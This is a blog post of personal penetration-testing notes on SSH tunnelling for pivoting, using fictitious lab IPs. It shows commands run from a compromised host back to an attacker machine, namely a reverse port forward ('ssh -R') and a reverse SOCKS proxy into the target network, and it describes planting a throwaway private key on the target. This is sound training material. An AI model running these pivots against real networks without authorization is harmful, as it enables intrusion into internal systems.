boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

03. SSH Tunnelling and Port Forwarding

Forward Connections

A forward (or "local") SSH tunnel is created from our attacking box when we have SSH access to the target. For that reason this technique is much more common against Unix hosts; Linux servers in particular often have SSH open. Microsoft has relatively recently shipped its own OpenSSH server native to Windows, so this may grow more popular there too if the feature catches on.

There are two ways to create a forward SSH tunnel with the SSH client: port forwarding, and creating a proxy.

Reverse Connections

Reverse connections are very possible with the SSH client, and may be preferable if you have a shell on the compromised server but not SSH access. They are riskier, though, because you must access your attacking machine from the target, whether by credentials or (preferably) a key-based system. Before making a reverse connection safely there are a few steps to take:

  1. Generate a new set of SSH keys and store them somewhere safe (ssh-keygen):

    This creates two files: a private key and a public key.

  2. Copy the contents of the public key (the file ending in .pub), then edit the ~/.ssh/authorized_keys file on your own attacking machine. You may need to create the ~/.ssh directory and authorized_keys file first.

  3. On a new line, type the following, then paste in the public key:

    command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty
    

    This restricts the key to port forwarding only, denying any ability to get a shell on your attacking machine.

The final entry in the authorized_keys file should look something like this:

Check the SSH Server on Your Attacking Machine Is Running

sudo systemctl status ssh

If the service is running you'll get a response showing "active" in the message:

If it's not running, start it with:

sudo systemctl start ssh

The only thing left is to do the unthinkable: transfer the private key to the target box. This is usually an absolute no-no, which is exactly why we generated a throwaway set of keys to discard as soon as the engagement is over.

With the key transferred, connect back with a reverse port forward:

ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

In the context of our fictitious IPs 172.16.0.10 and 172.16.0.5: if we have a shell on 172.16.0.5 and want to give our attacking box (172.16.0.20) access to the webserver on 172.16.0.10, we'd run this on the 172.16.0.5 machine:

ssh -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -fN

This opens a port forward to our Kali box, letting us reach the 172.16.0.10 webserver in exactly the same way as the forward connection earlier.

In newer SSH clients it's also possible to create a reverse proxy (the equivalent of the -D switch used in local connections). This may not work in older clients, but where it's supported:

ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN

Again, this opens a proxy letting us redirect all of our traffic through localhost port 1337 into the target network.

Note: Modern Windows comes with an inbuilt SSH client by default. This lets us use this technique on Windows systems even if there's no SSH server running on the Windows box we're connecting back from. In many ways this makes the next task on plink.exe redundant; it's still very relevant for older systems.

To close any of these connections, run ps aux | grep ssh in the terminal of the machine that created the connection:

Find the process ID (PID) of the connection. In the image above it's 105238.

Finally, run sudo kill PID to close the connection: